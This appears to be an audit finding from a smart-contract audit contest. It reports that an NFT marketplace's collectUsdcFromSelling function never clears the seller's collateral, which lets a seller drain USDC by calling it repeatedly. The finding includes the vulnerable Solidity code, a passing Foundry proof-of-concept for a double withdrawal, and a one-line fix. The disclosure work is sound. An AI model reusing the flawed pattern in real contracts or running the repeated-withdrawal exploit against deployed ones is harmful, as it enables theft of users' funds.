NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

`collectUsdcFromSelling` function does not reset collateral after payout thus allowing an attacker to repeatedly drain the contract

Author Revealed upon completion

collectUsdcFromSelling function does not reset collateral after payout thus allowing an attacker to repeatedly drain the contract

Description

  • When an NFT is sold on the marketplace, the seller is supposed to receive the sale proceeds minus protocol fees, along with the USDC collateral they deposited during minting. This payout should occur once per sale, ensuring the contract retains the correct balance and the seller cannot withdraw more than they are entitled to.

  • The collectUsdcFromSelling() function does not reset or mark the collateral as claimed after paying the seller. As a result, the seller can call the function multiple times and repeatedly withdraw the same collateral along with the sale proceeds, effectively allowing them to drain the contract.

// Root cause in the codebase with @> marks to highlight the relevant section
​
function collectUsdcFromSelling(
uint256 _listingId
) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
@> amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

  • This will occur when the seller calls collectUsdcFromSelling() after their NFT has been sold, since the function does not mark the collateral as claimed.

  • This will also occur when the seller repeatedly calls the function for the same listing, allowing them to withdraw the collateral and sale proceeds multiple times.

Impact:

  • The seller can repeatedly withdraw collateral and sale proceeds, potentially draining the contract of all USDC held for other users.

  • Other users may be unable to retrieve their funds or participate in sales because the contract’s balance is depleted.

  • Exploitation of this bug undermines confidence in the NFT marketplace, potentially harming adoption and credibility.

Proof of Concept

In the NFTDealersTest.t.sol file, add this function:

function test_DoubleWithdrawal() public {
usdc.mint(address(nftDealers), 1_000_000_000);
uint256 tokenId = 1;
uint256 nftPrice = 1000e6;
mintAndListNFTForTesting(tokenId, nftPrice);
​
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
​
// seller first withdrawal
vm.startPrank(userWithCash);
uint256 balanceBefore = usdc.balanceOf(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 balanceAfterFirst = usdc.balanceOf(userWithCash);
​
// second withdrawal (should not be possible)
nftDealers.collectUsdcFromSelling(tokenId);
uint256 balanceAfterSecond = usdc.balanceOf(userWithCash);
vm.stopPrank();
​
// prove funds increased twice
assertGt(balanceAfterSecond, balanceAfterFirst);
}
OUTPUT:
Compiler run successful with warnings:
Warning (2072): Unused local variable.
--> test/NFTDealersTest.t.sol:94:9:
|
94 | uint256 balanceBefore = usdc.balanceOf(userWithCash);
| ^^^^^^^^^^^^^^^^^^^^^
​
​
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] test_DoubleWithdrawal() (gas: 356395)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 32.91ms (7.49ms CPU time)
​
Ran 1 test suite in 313.00ms (32.91ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

​
the recommended mitigation is to rest the collateral after payout immediately after transfering funds to seller:
​
+ collateralForMinting[listing.tokenId] = 0;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!